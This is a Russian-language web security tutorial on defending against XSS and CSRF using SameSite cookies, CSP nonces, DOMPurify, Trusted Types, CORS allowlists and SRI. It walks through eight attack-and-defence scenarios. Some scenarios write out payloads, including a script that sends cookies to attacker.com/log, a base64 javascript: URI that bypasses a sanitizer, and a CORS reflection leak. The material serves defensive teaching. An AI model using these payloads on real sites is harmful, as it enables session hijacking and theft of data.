CSRF and XSS protection: SameSite cookies, CSP nonce, output escaping, DOMPurify sanitization, Trusted Types, CORS misconfig leaks, SRI for compromised CDN. Eight scenarios covering stored XSS exploit, CSP-blocked injection, SameSite=Strict CSRF prevention, double-submit token pattern, base64+javascript: URI sanitizer bypass, CORS Allow-Origin reflection leak, and SRI hash mismatch. ADR on defense-in-depth security stack.
XSS и CSRF возглавляют OWASP Top-10 уже двадцать лет. Один XSS-payload в комментарии превращает каждого посетителя страницы в зомби-клиента, который под именем пользователя нажимает кнопки в вашем приложении. Один CSRF-запрос — и POST /transfer уходит вашей сессией, потому что browser автоматически прикрепил cookie к запросу с evil.com.
Никакой server-side AuthZ это не остановит: AuthN валиден, session валидна, IP клиента валиден. Защита должна быть в браузере — настроена через response headers и cookie attributes, которые сам attacker контролировать не может.
Хорошие новости: 95% классических CSRF-атак ломаются одной строкой (SameSite=Lax), 80% классических stored XSS ловятся правильным template engine с auto-escape. Плохие новости: оставшиеся 20%/5% — это где живёт настоящее зло (mXSS, javascript: URI bypasses, CORS reflection, CDN supply-chain), и каждый из них требует своего слоя защиты.
XSS = attacker выполнил JS в браузере жертвы под нашим origin → имеет полный доступ к DOM, может вызвать любой fetch с credentials. CSRF = браузер жертвы сам отправил наш cookie на наш endpoint по запросу с чужого origin → side-effect от имени жертвы без знания пароля.
Защиты независимы и обе обязательны. Отсутствие XSS не защищает от CSRF; отсутствие CSRF не защищает от XSS. Каждый слой (SameSite, CSP, sanitize, HttpOnly, SRI, Trusted Types) закрывает свой attack vector и имеет свои blind spots — single-layer security падает к одной configuration mistake.
evil.com (отдаёт phishing-форму и CSRF-полезную нагрузку) и attacker.com/log (endpoint для эксфильтрации украденных данных).POST /transfer (side-effect endpoint, типичная цель CSRF)./csp-report коллектор для violation reports.ADR-001 на группе атакующего разворачивает полный стек defense-in-depth: какие cookie-флаги ставить, как составить CSP без unsafe-inline, почему DOMPurify не панацея, и почему CORS — не защита от CSRF.
Dev забыл sanitize-вызов и завернул comment.body в innerHTML. Атакующий публикует <script>fetch('//attacker.com/log?c='+document.cookie)</script>. HttpOnly спасает session cookie от чтения, но fetch автоматически шлёт session — XSS вызывает POST /transfer от имени жертвы. Деньги ушли. Главный урок: HttpOnly не защищает от actions, только от token theft.
Тот же payload, но webapp пропускает HTML через DOMPurify с allowlist b/i/em/a, edge добавляет Content-Security-Policy: script-src 'self' 'nonce-r4nd0m', Trusted Types throws на любой innerHTML без TrustedHTML. Три слоя — payload не исполняется, и даже если бы исполнился, CSP блокировал бы inline <script> без nonce.
Жертва логинится в bank.com (Set-Cookie: session=abc; SameSite=Strict), потом переходит на evil.com. Evil-сайт делает <form action="bank.com/transfer">.submit(). Browser смотрит на cookie: запрос инициирован c origin evil.com → SameSite=Strict не прикладывает session → bank отвечает 401. CSRF мёртв. SameSite=Lax сделал бы то же для POST/PUT/DELETE, ломая только top-level GET (что обычно безопасно для idempotent endpoints).
Defense-in-depth для случаев, где SameSite не работает (legacy browsers, iframe-widgets): server минтит random 32-byte token, кладёт его одновременно в Set-Cookie и в <input name="_csrf">. На POST проверяет, что form-value === cookie-value (плюс лежит ли он в Redis-сторе). Атакующий не может read cookie bank.com из своего origin (Same-Origin Policy блокирует), значит не может echo его в форму.
Demonstrates the why of nonce-CSP: legit <script nonce="r4nd0m"> исполняется, потому что nonce совпадает с CSP header; injected <script>steal()</script> (например через mutation XSS, обошедший sanitizer) — браузер refuses, потому что nonce отсутствует. Атакующий не знает random nonce (server рандомит per-request) → не может его подделать. report-uri /csp-report шлёт violation в security-team monitoring, превращая попытки атак в наблюдаемые события.
Sanitizer-bypass через <a href="javascript:eval(atob('YWxlcnQoMSk='))">click me</a>. Старая DOMPurify-конфигурация с ALLOWED_TAGS=[a], ALLOWED_ATTR=[href] разрешает <a href>, но не фильтрует javascript: URI scheme — payload проходит как «безопасный link». Жертва кликает, eval разворачивает base64-payload. Фикс: ALLOWED_URI_REGEXP исключает javascript:/data:/vbscript:, CSP object-src 'none' + Trusted Types бы остановили eval даже если payload прошёл. Урок: allowlist URL schemes так же важен как tags.
Naive Express-код: res.setHeader("Access-Control-Allow-Origin", req.headers.origin) + Allow-Credentials: true. Evil.com делает fetch(bank.com/api/balance, {credentials:"include"}) — preflight проходит (потому что app reflects Origin), cookies прикладываются, balance возвращается в response, evil.com читает JSON и шлёт на attacker.com/log. CORS не защищает от CSRF (form submit не требует preflight) и при misconfiguration активно открывает data exfiltration. Фикс: strict allowlist origins, никогда * + Allow-Credentials.
Supply-chain атака: атакующий взломал CDN, теперь cdn.example.com/lib.js содержит инъекцию. Browser качает файл, вычисляет SHA-384, сравнивает с integrity="sha384-abc..." в <script integrity>. Mismatch → script не исполняется. Compromised CDN нейтрализован. Цена — нужно обновлять integrity hash при upgrade библиотеки и помнить про crossorigin="anonymous" для CORS-enabled SRI check.
Cookie стек. HttpOnly + Secure + SameSite=Lax — обязательный baseline. Strict оставляйте для high-value apps (банки), где OK ломать UX «logged-in click on email link». None только для виджетов в чужих iframes и обязательно с Secure.
CSRF tokens поверх SameSite. Кажется избыточным, но double-submit cookie pattern catches legacy browsers, atypical user-agents и iframe-embedded cases. Дёшево, защищает от случаев, которые вы не предусмотрели.
CSP nonce vs hash vs unsafe-inline. unsafe-inline уничтожает 90% ценности CSP — не используйте. Nonce требует server templating (random per-request, injected в <script nonce>), это лишний шаг в render-pipeline. Hash-based работает только если inline-scripts статичны. strict-dynamic нужен для современных bundle-apps, где один trusted bootstrap script грузит остальное.
Sanitization vs escaping. Output escaping (template engine с auto-escape: React JSX, Vue {{}}, Django, Jinja2) — для plain text в HTML body/attribute. Sanitization (DOMPurify) — для rich text, где разрешён ограниченный subset HTML (markdown comments). Никогда regex для HTML — это известная катастрофа.
Trusted Types. Chrome-only пока (Firefox/Safari в roadmap), но даже как defense-in-depth для 70% трафика превращает runtime XSS в compile-time errors через TrustedHTML/TrustedScriptURL. Стоимость — миграция всех sinks на типизированные обёртки.
CORS — не security boundary. CORS защищает данные от чтения через XHR cross-origin, но не блокирует side-effects (form submit, image GET с side-effect — старая ошибка). Allow-Credentials + reflected Origin = silent leak, который ловится только при explicit security review.
Profile.AboutMe, обошёл single layer фильтра (фильтровали <script>, забыли про <div style="background:url('javascript:...')">), заразил 1M+ профилей за 24 часа.unsafe-inline в CSP «временно». Временно становится постоянно. CSP без strict script-src не защищает от XSS.Access-Control-Allow-Origin: * + credentials. Браузер blocks этот combo, но req.headers.origin reflection — тот же результат, opt-in бесплатно.X-XSS-Protection: 1. Deprecated header, в современных браузерах удалён, в старых иногда вводил собственные уязвимости. Используйте CSP.document.cookie для session-токенов. Без HttpOnly любой XSS читает сразу. JWT в localStorage — та же проблема, только хуже (XSS видит даже без cookie API).Origin header без validation. Origin ставит браузер, но не на сервер-сервер запросах и не в curl. Validate против allowlist, не reflect.SameSite=Strict для consumer apps. Ломает «открой ссылку из email → залогинен» UX. Используйте Lax (защищает от 95% CSRF) и double-submit token для оставшегося.strict-dynamic с trusted bootstrap.Access-Control-Allow-Origin: * без credentials корректен.